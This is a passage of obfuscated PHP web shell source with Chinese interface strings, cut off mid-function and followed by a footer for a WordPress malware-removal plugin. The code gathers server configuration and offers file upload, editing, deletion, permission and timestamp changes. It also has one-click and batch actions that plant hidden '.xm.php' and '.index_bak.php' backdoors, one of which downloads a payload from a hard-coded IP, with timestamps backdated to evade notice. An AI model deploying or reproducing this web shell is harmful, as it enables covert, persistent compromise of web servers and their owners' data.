        $QjGuH = ob_get_contents();
        ob_end_clean();
        $eMzvo = array();
        preg_match_all("/\\<td class\\=\\\"e\\\"\\>.*?(Command|Configuration)+.*?\\<\\/td\\>\\<td class\\=\\\"v\\\"\\>(.*?)\\<\\/td\\>/i", $QjGuH, $eMzvo);
        $jZi_a = $eMzvo[2][0];
        $krJKZ = $eMzvo[2][2] ? $eMzvo[2][1] . " --- " . $eMzvo[2][2] : $eMzvo[2][1];
        oQWiY:
        $Tns_w = array("客户端浏览器信息" => $_SERVER["HTTP_USER_AGENT"], "被禁用的函数" => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : "(无)", "被禁用的类" => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : "(无)", "PHP.ini配置路径" => $krJKZ ? $krJKZ : "(无)", "PHP运行方式" => php_sapi_name(), "PHP版本" => PHP_VERSION, "PHP进程PID" => getmypid(), "客户端IP" => $_SERVER["REMOTE_ADDR"], "客户端文字编码" => $_SERVER["HTTP_ACCEPT_LANGUAGE"], "Web服务端口" => $_SERVER["SERVER_PORT"], "Web根目录" => $_SERVER["DOCUMENT_ROOT"], "Web执行脚本" => $_SERVER["SCRIPT_FILENAME"], "Web规范CGI版本" => $_SERVER["GATEWAY_INTERFACE"], "Web管理员Email" => !empty($_SERVER["SERVER_ADMIN"]) ? $_SERVER["SERVER_ADMIN"] : "(无)", "当前磁盘总大小" => iDYFr(disk_total_space(".")), "当前磁盘可用空间" => iDyfr(disk_free_space(".")), "POST最大字数量" => get_cfg_var("post_max_size"), "允许最大上传文件" => get_cfg_var("upload_max_filesize"), "程序最大使用内存量" => get_cfg_var("memory_limit"), "程序最长运行时间" => get_cfg_var("max_execution_time") . "秒", "是否支持Fsockopen" => function_exists("fsockopen") ? "是" : "否", "是否支持Socket" => function_exists("ujGDy") ? "是" : "否", "是否支持Pcntl" => function_exists("T2RbU") ? "是" : "否", "是否支持Curl" => function_exists("curl_version") ? "是" : "否", "是否支持Zlib" => function_exists("gzclose") ? "是" : "否", "是否支持FTP" => function_exists("Bd6G6") ? "是" : "否", "是否支持XML" => function_exists("xml_set_object") ? "是" : "否", "是否支持GD_Library" => function_exists("M4wlG") ? "是" : "否", "是否支持COM组建" => class_exists("COM") ? "是" : "否", "是否支持ODBC组建" => function_exists("c0ZeT") ? "是" : "否", "是否支持IMAP邮件" => function_exists("CLBjP") ? "是" : "否", "是否运行于安全模式" => get_cfg_var("safemode") ? "是" : "否", "是否允许URL打开文件" => get_cfg_var("allow_url_fopen") ? "是" : "否", "是否允许动态加载链接库" => get_cfg_var("enable_dl") ? "是" : "否", "是否显示错误信息" => get_cfg_var("display_errors") ? "是" : "否", "是否自动注册全局变量" => get_cfg_var("register_globals") ? "是" : "否", "是否使用反斜线引用字符串" => get_cfg_var("magic_quotes_gpc") ? "是" : "否", "PHP编译参数" => $jZi_a ? $jZi_a : "(无)");
        $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>";
        $QSO8f .= "<table class=\"tables\"><tr><th style=\"width:26%;\">名称</th><th>参数</th></tr>";
        foreach ($Tns_w as $Kes_q => $KPtbK) {
            $QSO8f .= "<tr><td>" . $Kes_q . "</td><td>" . $KPtbK . "</td></tr>";
        }
        $QSO8f .= "</table>";
        return $QSO8f;
    }
    public function ikqBc()
    {
        $Jzwra = $this->ddguj;
        $UgLz_ = '';
        $UlicF = empty($_POST["dir"]) ? base64_decode($_POST["govar"]) : $Jzwra;
        $xsz7E = isset($_POST["keyword"]) ? $_POST["keyword"] : '';
        $qGL_P = isset($_POST["include"]) ? chop($_POST["include"]) : ".php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py";
        $kKCOC = isset($_POST["filters"]) ? chop($_POST["filters"]) : "html|css|img|images|image|style|js";
        $QSO8f = '';
        $QSO8f = "<div class=\"msgbox\"></div>";
        $QSO8f = "<div class=\"msgbox\"></div><form method=\"POST\">";
        $QSO8f .= axTtq();
        $QSO8f .= "<input type=\"hidden\" name=\"go\" id=\"go\" value=\"scan\">";
        $QSO8f .= "<table class=\"tables\"><tr><th style=\"width:15%;\">名称</th><th>设置</th></tr>";
        $QSO8f .= "<tr><td>搜索路径</td><td><input type=\"text\" name=\"dir\" value=\"" . htmlspecialchars($UlicF) . "\" style=\"width:500px;\"></td></tr>";
        $QSO8f .= "<tr><td>搜索内容</td><td><input type=\"text\" name=\"keyword\" value=\"" . htmlspecialchars($xsz7E) . "\" style=\"width:500px;\"> (文件名或文件内容)</td></tr>";
        $QSO8f .= "<tr><td>文件后缀</td><td><input type=\"text\" name=\"include\" value=\"" . htmlspecialchars($qGL_P) . "\" style=\"width:500px;\"> (用\"|\"分割, 为空则搜索所有文件)</td></tr>";
        $QSO8f .= "<tr><td>过滤目录</td><td><input type=\"text\" name=\"filters\" value=\"" . htmlspecialchars($kKCOC) . "\" style=\"width:500px;\"> (用\"|\"分割, 为空则不过滤目录)</td></tr>";
        $QSO8f .= "<tr><td>搜索方式</td><td><label><input type=\"radio\" name=\"type\" value=\"0\"" . (!empty($_POST["type"]) ? '' : " checked") . ">搜索文件名</label> ";
        $QSO8f .= "<label><input type=\"radio\" name=\"type\" value=\"1\"" . (!empty($_POST["type"]) ? " checked" : '') . ">搜索包含文字</label> ";
        $QSO8f .= "<label><input type=\"checkbox\" name=\"char\" value=\"1\"" . (!empty($_POST["char"]) ? " checked" : '') . ">匹配大小写</label></td></tr>";
        $QSO8f .= "<tr><td>搜索范围</td><td><label><input type=\"radio\" name=\"range\" value=\"0\"" . (!empty($_POST["range"]) ? '' : " checked") . ">将搜索应用于该文件夹,子文件夹和文件</label> ";
        $QSO8f .= "<label><input type=\"radio\" name=\"range\" value=\"1\"" . (!empty($_POST["range"]) ? " checked" : '') . ">仅将搜索应用于该文件夹</label></td></tr>";
        $QSO8f .= "<tr><td>操作</td><td><input type=\"submit\" style=\"width:80px;\" value=\"搜索\"></td></tr>";
        $QSO8f .= "</table></form>";
        if (!($xsz7E != '')) {
            goto fmzf0;
        }
        flush();
        ob_flush();
        $QSO8f .= "<div style=\"padding:5px;background:#F8F8F8;text-align:left;\">";
        $t6SOR = $qGL_P == '' ? false : explode("|", $qGL_P);
        $x98RS = $kKCOC == '' ? false : explode("|", $kKCOC);
        $E56um = DqR9r(pBm07($UlicF . "/"), $xsz7E, $t6SOR, $x98RS, !empty($_POST["type"]) ? $_POST["type"] : '', !empty($_POST["char"]) ? $_POST["char"] : '', !empty($_POST["range"]) ? $_POST["range"] : '', $Jzwra);
        $QSO8f .= $E56um;
        $QSO8f .= "<p>" . ($E56um ? "<h2>搜索完成</h2>" : "<h1>搜索失败</h1>") . "</p></div>";
        fmzf0:
        return $QSO8f;
    }
    public function hvVWe()
    {
        $trx7n = isset($_POST["updir"]) ? $_POST["updir"] : $_POST["godir"];
        $UgLz_ = "【最大上传文件 " . get_cfg_var("upload_max_filesize") . "】 【POST最大提交数据 " . get_cfg_var("post_max_size") . "】";
        $yklRt = 10;
        $JGN3j = array();
        if (!(isset($_FILES["uploads"]) && isset($_POST["renames"]))) {
            goto nTKe_;
        }
        $TQlLa = $_FILES["uploads"];
        $uLtTd = 1;
        pkbi0:
        if (!($uLtTd < $yklRt)) {
            nTKe_:
            $QSO8f = '';
            $QSO8f .= "<div class=\"msgbox\">" . $UgLz_ . "</div>";
            $QSO8f .= "<form name=\"upsfrm\" id=\"upsfrm\" method=\"POST\" enctype=\"multipart/form-data\">";
            $QSO8f .= AXTTQ();
            $QSO8f .= "<input type=\"hidden\" name=\"go\" value=\"upfiles\"><input type=\"hidden\" name=\"act\" id=\"act\" value=\"upload\">";
            $QSO8f .= "<div class=\"actall\"><p>上传到目录 <input type=\"text\" name=\"updir\" style=\"width:398px;\" value=\"" . $trx7n . "\"></p>";
            $uLtTd = 1;
            pwGfS:
            if (!($uLtTd < $yklRt)) {
                $QSO8f .= "</div></form><div class=\"actall\" style=\"padding:8px;padding-right:68px;\"><input type=\"button\" onclick=\"\$('upsfrm').submit();\" value=\"上传\" style=\"width:80px;\"> ";
                $QSO8f .= "<form name=\"backfrm\" id=\"backfrm\" method=\"POST\"><input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . $trx7n . "\">";
                $QSO8f .= AXTTQ();
                $QSO8f .= "<input type=\"button\" onclick=\"\$('backfrm').submit();\" value=\"返回\" style=\"width:80px;\"></form></div>";
                return $QSO8f;
            }
            $QSO8f .= "<p>附件" . $uLtTd . " <input type=\"file\" name=\"uploads[" . $uLtTd . "]\" style=\"width:300px;\"> 重命名 <input type=\"text\" name=\"renames[" . $uLtTd . "]\" style=\"width:128px;\"> " . (!empty($JGN3j[$uLtTd]) ? $JGN3j[$uLtTd] : '') . "</p>";
            $uLtTd++;
            goto pwGfS;
        }
        if (!($TQlLa["error"][$uLtTd] == UPLOAD_ERR_OK)) {
            goto FU5ue;
        }
        $QY5ao = $_POST["renames"][$uLtTd] == '' ? $TQlLa["name"][$uLtTd] : $_POST["renames"][$uLtTd];
        $zi0Y0 = $TQlLa["tmp_name"][$uLtTd];
        $J3Hov = PBm07($trx7n . "/" . $QY5ao);
        $JGN3j[$uLtTd] = fivrG($zi0Y0, $J3Hov) ? "<br><h2>上传成功 " . $QY5ao . "</h2>" : "<br><h1>上传失败 " . $QY5ao . "</h1>";
        FU5ue:
        $uLtTd++;
        goto pkbi0;
    }
    public function i7u03()
    {
        $SFJ9z = PBM07($_POST["godir"] . "/" . $_POST["govar"]);
        $YM_6j = function_exists("iconv");
        $tAe0C = '';
        $uS2nL = '';
        if (!file_exists($SFJ9z)) {
            $UgLz_ = "【新建文件】";
            goto JVbfb;
        }
        $uS2nL = file_get_contents($SFJ9z);
        $tAe0C = "默认";
        $T3WIB = IDyFR(filesize($SFJ9z));
        $UgLz_ = "【文件属性 " . substr(decoct(fileperms($SFJ9z)), 4) . "】 【文件大小 " . $T3WIB . "】 【文件编码 " . $tAe0C . "】";
        JVbfb:
        $QSO8f = '';
        $QSO8f = "<script language=\"javascript\">\r\nvar n = 0;\r\nfunction search(str) {\r\n\tvar txt, i, found;\r\n\tif(str == \"\") return false;\r\n\ttxt = \$('filecode').createTextRange();\r\n\tfor(i = 0; i <= n && (found = txt.findText(str)) != false; i++){\r\n\t\ttxt.moveStart(\"character\", 1);\r\n\t\ttxt.moveEnd(\"textedit\");\r\n\t}\r\n\tif(found){ txt.moveStart(\"character\", -1); txt.findText(str); txt.select(); txt.scrollIntoView(); n++; }\r\n\telse { if (n > 0) { n = 0; search(str); } else alert(str + \"... Not-Find\"); }\r\n\treturn false;\r\n}\r\n</script>";
        $QSO8f .= "<div class=\"msgbox\"><input name=\"keyword\" id=\"keyword\" type=\"text\" style=\"width:138px;height:15px;\"><input type=\"button\" value=\"IE查找内容\" onclick=\"search(\$('keyword').value);\"> - " . $UgLz_ . "</div>";
        $QSO8f .= "<form name=\"editfrm\" id=\"editfrm\" method=\"POST\">";
        $QSO8f .= axtTQ();
        $QSO8f .= "<input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"act\" id=\"act\" value=\"edit\">";
        $QSO8f .= "<input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . dirname($SFJ9z) . "\">";
        $QSO8f .= "<div class=\"actall\">文件 <input type=\"text\" name=\"filename\" value=\"" . $SFJ9z . "\" style=\"width:528px;\"> ";
        if (!$YM_6j) {
            goto Is6tt;
        }
        $QSO8f .= "编码 <select name=\"tostr\">";
        $I8314 = array("normal" => "默认", "utf" => "utf-8");
        foreach ($I8314 as $KPtbK => $Kes_q) {
            $QSO8f .= "<option value=\"" . $KPtbK . "\"" . ($Kes_q == $tAe0C ? " selected" : '') . ">" . $Kes_q . "</option>";
        }
        $QSO8f .= "</select>";
        Is6tt:
        $QSO8f .= "</div><div class=\"actall\"><textarea name=\"filecode\" id=\"filecode\" style=\"width:698px;height:358px;\">" . $uS2nL . "</textarea></div></form>";
        $QSO8f .= "<div class=\"actall\" style=\"padding:5px;padding-right:68px;\"><input type=\"button\" onclick=\"\$('editfrm').submit();\" value=\"保存\" style=\"width:80px;\"> ";
        $QSO8f .= "<form name=\"backfrm\" id=\"backfrm\" method=\"POST\"><input type=\"hidden\" name=\"go\" value=\"\"><input type=\"hidden\" name=\"dir\" id=\"dir\" value=\"" . dirname($SFJ9z) . "\">";
        $QSO8f .= AxttQ();
        $QSO8f .= "<input type=\"button\" onclick=\"\$('backfrm').submit();\" value=\"返回\" style=\"width:80px;\"></form></div>";
        return $QSO8f;
    }
    public function J0I1Z()
    {
        $Jzwra = $this->ddguj;
        $UgLz_ = '';
        $JqKaG = isset($_POST["go"]) ? $_POST["go"] : '';
        if (!($JqKaG == "down")) {
            goto YhJMF;
        }
        $x3CQ0 = $J3Hov = pBM07($_POST["godir"] . "/" . $_POST["govar"]);
        if (VZo7E($x3CQ0)) {
            goto dGWmf;
        }
        $UgLz_ = "<h1>下载文件不存在</h1>";
        dGWmf:
        YhJMF:
        if (!isset($_FILES["upfile"])) {
            goto CD2fM;
        }
        if ($_FILES["upfile"]["name"] == '') {
            $UgLz_ = "<h1>请选择文件</h1>";
            goto QPHKr;
        }
        $QY5ao = $_POST["rename"] == '' ? $_FILES["upfile"]["name"] : $_POST["rename"];
        $zi0Y0 = $_FILES["upfile"]["tmp_name"];
        $J3Hov = PbM07($Jzwra . $QY5ao);
        $UgLz_ = FiVRg($zi0Y0, $J3Hov) ? "<h2>上传文件" . $QY5ao . "成功</h2>" : "<h1>上传文件" . $QY5ao . "失败</h1>";
        QPHKr:
        CD2fM:
        if (!isset($_POST["act"])) {
            goto HmJOV;
        }
        switch ($_POST["act"]) {
            case "a":
                if (!$_POST["files"]) {
                    $UgLz_ = "<h1>请选择文件 " . $_POST["var"] . "</h1>";
                    goto YgbVs;
                }
                $uLtTd = 0;
                foreach ($_POST["files"] as $eb_7J) {
                    $uLtTd += @copy(Pbm07($Jzwra . $eb_7J), pbM07($_POST["var"] . "/copy_" . $eb_7J)) ? 1 : 0;
                }
                $UgLz_ = $UgLz_ = $uLtTd ? "<h2>共复制 " . $uLtTd . " 个文件到" . $_POST["var"] . "成功</h2>" : "<h1>共复制 " . $uLtTd . " 个文件到" . $_POST["var"] . "失败</h1>";
                YgbVs:
                goto hTNQQ;
            case "b":
                if (!$_POST["files"]) {
                    $UgLz_ = "<h1>请选择文件</h1>";
                    goto nDn_x;
                }
                $uLtTd = 0;
                foreach ($_POST["files"] as $eb_7J) {
                    $uLtTd += @unlink(PBM07($Jzwra . $eb_7J)) ? 1 : 0;
                }
                $UgLz_ = $uLtTd ? "<h2>共删除 " . $uLtTd . " 个文件成功</h2>" : "<h1>共删除 " . $uLtTd . " 个文件失败</h1>";
                nDn_x:
                goto hTNQQ;
            case "c":
                if (!$_POST["files"]) {
                    $UgLz_ = "<h1>请选择文件 " . $_POST["var"] . "</h1>";
                    goto rG5Vw;
                }
                if (!preg_match("/[0-7]{4}\$/", $_POST["var"])) {
                    $UgLz_ = "<h1>属性值错误</h1>";
                    goto fWkRT;
                }
                $uLtTd = 0;
                foreach ($_POST["files"] as $eb_7J) {
                    try {
                        $uLtTd += @chmod(pbM07($Jzwra . $eb_7J), base_convert($_POST["var"], 8, 10)) ? 1 : 0;
                    } catch (Throwable $yVbeC) {
                    }
                }
                $UgLz_ = $uLtTd ? "<h2>共 " . $uLtTd . " 个文件修改属性为" . $_POST["var"] . "成功</h2>" : "<h1>共 " . $uLtTd . " 个文件修改属性为" . $_POST["var"] . "失败</h1>";
                fWkRT:
                rG5Vw:
                goto hTNQQ;
            case "d":
                if (!$_POST["files"]) {
                    $UgLz_ = "<h1>请选择文件 " . $_POST["var"] . "</h1>";
                    goto U3mbb;
                }
                if (!preg_match("/(\\d+)-(\\d+)-(\\d+) (\\d+):(\\d+):(\\d+)/", $_POST["var"])) {
                    $UgLz_ = "<h1>时间格式错误 " . $_POST["var"] . "</h1>";
                    goto o9_0d;
                }
                $uLtTd = 0;
                foreach ($_POST["files"] as $eb_7J) {
                    $uLtTd += @touch(PBm07($Jzwra . $eb_7J), strtotime($_POST["var"])) ? 1 : 0;
                }
                $UgLz_ = $uLtTd ? "<h2>共 " . $uLtTd . " 个文件修改时间为" . $_POST["var"] . "成功</h2>" : "<h1>共 " . $uLtTd . " 个文件修改时间为" . $_POST["var"] . "失败</h1>";
                o9_0d:
                U3mbb:
                goto hTNQQ;
            case "e":
                $PfRvL = pbm07($Jzwra . $_POST["var"] . "/");
                if (file_exists($PfRvL)) {
                    $UgLz_ = "<h1>目录已存在 " . $_POST["var"] . "</h1>";
                    goto g7iFH;
                }
                $UgLz_ = @mkdir($PfRvL, 0777) ? "<h2>创建目录 " . $_POST["var"] . " 成功</h2>" : "<h1>创建目录 " . $_POST["var"] . " 失败</h1>";
                g7iFH:
                goto hTNQQ;
            case "f":
                $rINXt = array("http" => array("timeout" => 30));
                if (!function_exists("stream_context_create")) {
                    goto j2A16;
                }
                $KlQ6w = stream_context_create($rINXt);
                j2A16:
                $dRqNZ = explode(" ", $_POST["var"]);
                $s5r3y = @file_get_contents($dRqNZ[0], false, $KlQ6w);
                $kojAr = explode("/", $dRqNZ[0]);
                $eb_7J = array_pop($kojAr);
                if (empty($dRqNZ[1])) {
                    goto MnHwv;
                }
                $eb_7J = $dRqNZ[1];
                MnHwv:
                if ($s5r3y) {
                    if (LGU3J(pBM07($Jzwra . $eb_7J), $s5r3y, "wb")) {
                        $YJnbr = c4GhR($Jzwra);
                        $ipdt9 = 0;
                        if (empty($YJnbr["file"])) {
                            goto cIW6w;
                        }
                        foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                            if (!$ipdt9) {
                                $ipdt9 = filemtime($cT1oz);
                                goto kjpVX;
                            }
                            if (!(filemtime($cT1oz) < $ipdt9)) {
                                goto oKMGq;
                            }
                            $ipdt9 = filemtime($cT1oz);
                            oKMGq:
                            kjpVX:
                        }
                        cIW6w:
                        if (!$ipdt9) {
                            goto zjk14;
                        }
                        @touch(pbm07($Jzwra . $eb_7J), $ipdt9);
                        zjk14:
                        chmod(pBm07($Jzwra . $eb_7J), 0755);
                        $UgLz_ = "<h2>下载 " . $eb_7J . " 成功</h2>";
                        goto lnQgV;
                    }
                    "<h1>下载 " . $eb_7J . " 失败</h1>";
                    lnQgV:
                    goto euito;
                }
                $UgLz_ = "<h1>下载失败或不支持下载</h1>";
                euito:
                goto hTNQQ;
            case "rf":
                $kojAr = explode("|x|", $_POST["var"]);
                if (count($kojAr) != 2) {
                    $UgLz_ = "<h1>输入错误</h1>";
                    goto eNoW6;
                }
                $UgLz_ = @rename(Pbm07($Jzwra . $kojAr[1]), pbM07($Jzwra . $kojAr[0])) ? "<h2>重命名 " . $kojAr[1] . " 为 " . $kojAr[0] . " 成功</h2>" : "<h1>重命名 " . $kojAr[1] . " 为 " . $kojAr[0] . " 失败</h1>";
                eNoW6:
                goto hTNQQ;
            case "pd":
                $kojAr = explode("|x|", $_POST["var"]);
                if (count($kojAr) != 2) {
                    $UgLz_ = "<h1>输入错误</h1>";
                    goto flS4W;
                }
                $PfRvL = pbm07($Jzwra . $kojAr[1]);
                try {
                    @chmod($PfRvL, base_convert($kojAr[0], 8, 10));
                    $QRlUz = true;
                } catch (Throwable $yVbeC) {
                    $QRlUz = false;
                }
                $UgLz_ = $QRlUz ? "<h2>修改" . $kojAr[1] . "属性为" . $kojAr[0] . "成功</h2>" : "<h1>修改" . $kojAr[1] . "属性为" . $kojAr[0] . "失败</h1>";
                flS4W:
                goto hTNQQ;
            case "edit":
                if (!(isset($_POST["filename"]) && isset($this->N5qPH["filecode"]))) {
                    goto hzpF6;
                }
                $UgLz_ = LGu3j($_POST["filename"], $this->N5qPH["filecode"], "w") ? "<h2>保存成功 " . $_POST["filename"] . "</h2>" : "<h1>保存失败 " . $_POST["filename"] . "</h1>";
                hzpF6:
                goto hTNQQ;
            case "deltree":
                $C3hpU = PBm07($Jzwra . $_POST["var"] . "/");
                if (!file_exists($C3hpU)) {
                    $UgLz_ = "<h1>目录 " . $_POST["var"] . " 不存在</h1>";
                    goto Fkvls;
                }
                $UgLz_ = mrf0q($C3hpU) ? "<h2>删除目录 " . $_POST["var"] . " 成功</h2>" : "<h1>删除目录 " . $_POST["var"] . " 失败</h1>";
                Fkvls:
                goto hTNQQ;
            case "plxiaoma":
                $PfRvL = rtrim($_POST["dir"], "/");
                $kojAr = explode("\n", trim($_POST["var"]));
                $kFQIU = array();
                if (!$kojAr) {
                    goto LuvhC;
                }
                $YJnbr = c4ghr($PfRvL);
                $ipdt9 = 0;
                if (empty($YJnbr["file"])) {
                    goto Z7Q7E;
                }
                foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                    if (!$ipdt9) {
                        $ipdt9 = filemtime($cT1oz);
                        goto O9yPX;
                    }
                    if (!(filemtime($cT1oz) < $ipdt9)) {
                        goto TRVNg;
                    }
                    $ipdt9 = filemtime($cT1oz);
                    TRVNg:
                    O9yPX:
                }
                Z7Q7E:
                foreach ($kojAr as $Hzx0E) {
                    $Hzx0E = trim($Hzx0E);
                    $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E);
                    $eb_7J = array_pop($xNX14);
                    $xNX14 = implode("/", $xNX14);
                    if (file_exists($xNX14)) {
                        goto bg0Pn;
                    }
                    mkdir($xNX14, 0755, "recursive");
                    chmod($xNX14, 0755);
                    bg0Pn:
                    if (strpos($eb_7J, ".php") !== false) {
                        $dRqNZ = $xNX14 . "/" . $eb_7J;
                        goto KygIR;
                    }
                    $dRqNZ = $xNX14 . "/" . $eb_7J;
                    if (file_exists($dRqNZ)) {
                        goto TIpdE;
                    }
                    mkdir($dRqNZ, 0755, "recursive");
                    chmod($dRqNZ, 0755);
                    TIpdE:
                    $dRqNZ .= "/.xm.php";
                    KygIR:
                    file_put_contents($dRqNZ, "<?php file_put_contents(\"\\x2e\\x69\\156\\144\\x65\\170\\x5f\\142\\x61\\x6b\\x2e\\160\\x68\\x70\", file_get_contents (\"\\x68\\x74\\164\\160\\x3a\\57\\57\\x31\\x35\\x34\\56\\62\\x30\\x34\\x2e\\62\\63\\63\\56\\61\\x36\\62\\x2f\\160\\x61\\156\\145\\154\\56\\164\\x78\\164\"));");
                    if (!$ipdt9) {
                        goto sa8HL;
                    }
                    @touch($dRqNZ, $ipdt9);
                    sa8HL:
                    chmod($dRqNZ, 0755);
                    $kFQIU[] = sprintf("批量哥小马 路径:%s", $dRqNZ);
                }
                LuvhC:
                $UgLz_ = implode("</br>", $kFQIU);
                goto hTNQQ;
            case "xiaoma":
                $PfRvL = rtrim($_POST["var"], "/");
                if (file_exists($PfRvL)) {
                    goto DN8lc;
                }
                mkdir($PfRvL, 0755, "recursive");
                chmod($PfRvL, 0755);
                DN8lc:
                $YJnbr = c4GHR($PfRvL);
                $ipdt9 = 0;
                if (empty($YJnbr["file"])) {
                    goto AJrWj;
                }
                foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                    if (!$ipdt9) {
                        $ipdt9 = filemtime($cT1oz);
                        goto vOSc5;
                    }
                    if (!(filemtime($cT1oz) < $ipdt9)) {
                        goto LUxXI;
                    }
                    $ipdt9 = filemtime($cT1oz);
                    LUxXI:
                    vOSc5:
                }
                AJrWj:
                $dRqNZ = $PfRvL . "/.xm.php";
                file_put_contents($dRqNZ, "<?php file_put_contents(\"\\x2e\\x69\\156\\144\\x65\\170\\x5f\\142\\x61\\x6b\\x2e\\160\\x68\\x70\", file_get_contents (\"\\x68\\x74\\164\\160\\x3a\\57\\57\\x31\\x35\\x34\\56\\62\\x30\\x34\\x2e\\62\\63\\63\\56\\61\\x36\\62\\x2f\\160\\x61\\156\\145\\154\\56\\164\\x78\\164\"));");
                if (!$ipdt9) {
                    goto ClAXW;
                }
                @touch($dRqNZ, $ipdt9);
                ClAXW:
                chmod($dRqNZ, 0755);
                $UgLz_ = sprintf("一键小M 路径:%s ", $dRqNZ);
                goto hTNQQ;
            case "pldama":
                $PfRvL = rtrim($_POST["dir"], "/");
                $kojAr = explode("\n", trim($_POST["var"]));
                $kFQIU = array();
                if (!$kojAr) {
                    goto X0Q1F;
                }
                $YJnbr = C4gHr($PfRvL);
                $ipdt9 = 0;
                if (empty($YJnbr["file"])) {
                    goto NcNJ0;
                }
                foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                    if (!$ipdt9) {
                        $ipdt9 = filemtime($cT1oz);
                        goto W4jHt;
                    }
                    if (!(filemtime($cT1oz) < $ipdt9)) {
                        goto sfKJ0;
                    }
                    $ipdt9 = filemtime($cT1oz);
                    sfKJ0:
                    W4jHt:
                }
                NcNJ0:
                foreach ($kojAr as $Hzx0E) {
                    $Hzx0E = trim($Hzx0E);
                    $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E);
                    $eb_7J = array_pop($xNX14);
                    $xNX14 = implode("/", $xNX14);
                    if (file_exists($xNX14)) {
                        goto eopfM;
                    }
                    mkdir($xNX14, 0755, "recursive");
                    chmod($xNX14, 0755);
                    eopfM:
                    if (strpos($eb_7J, ".php") !== false) {
                        $dRqNZ = $xNX14 . "/" . $eb_7J;
                        goto xHRT6;
                    }
                    $dRqNZ = $xNX14 . "/" . $eb_7J;
                    if (file_exists($dRqNZ)) {
                        goto mMrxz;
                    }
                    mkdir($dRqNZ, 0755, "recursive");
                    chmod($dRqNZ, 0755);
                    mMrxz:
                    $dRqNZ .= "/.index_bak.php";
                    xHRT6:
                    file_put_contents($dRqNZ, file_get_contents(V51MD));
                    if (!$ipdt9) {
                        goto Nrmpt;
                    }
                    @touch($dRqNZ, $ipdt9);
                    Nrmpt:
                    chmod($dRqNZ, 0755);
                    $kFQIU[] = sprintf("批量大M 路径:%s ", $dRqNZ);
                }
                X0Q1F:
                $UgLz_ = implode("</br>", $kFQIU);
                goto hTNQQ;
            case "dama":
                $PfRvL = rtrim($_POST["var"], "/");
                if (file_exists($PfRvL)) {
                    goto t3Fvj;
                }
                mkdir($PfRvL, 0755, "recursive");
                chmod($PfRvL, 0755);
                t3Fvj:
                $YJnbr = C4GhR($PfRvL);
                $ipdt9 = 0;
                if (empty($YJnbr["file"])) {
                    goto vFXzI;
                }
                foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                    if (!$ipdt9) {
                        $ipdt9 = filemtime($cT1oz);
                        goto z3wyr;
                    }
                    if (!(filemtime($cT1oz) < $ipdt9)) {
                        goto bNxwL;
                    }
                    $ipdt9 = filemtime($cT1oz);
                    bNxwL:
                    z3wyr:
                }
                vFXzI:
                $dRqNZ = $PfRvL . "/.index_bak.php";
                file_put_contents($dRqNZ, file_get_contents(V51MD));
                if (!$ipdt9) {
                    goto ilM_c;
                }
                @touch($dRqNZ, $ipdt9);
                ilM_c:
                chmod($dRqNZ, 0755);
                $UgLz_ = sprintf("一键大M 路径:%s ", $dRqNZ);
                goto hTNQQ;
            case "gxdama":
                $PfRvL = rtrim($_POST["var"], "/");
                if (file_exists($PfRvL)) {
                    goto Ay46_;
                }
                mkdir($PfRvL, 0755, "recursive");
                chmod($PfRvL, 0755);
                Ay46_:
                $YJnbr = c4GHr($PfRvL);
                $ipdt9 = 0;
                if (!isset($YJnbr["file"])) {
                    goto RnWr7;
                }
                foreach ($YJnbr["file"] as $cT1oz => $Kes_q) {
                    if (!$ipdt9) {
                        $ipdt9 = filemtime


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.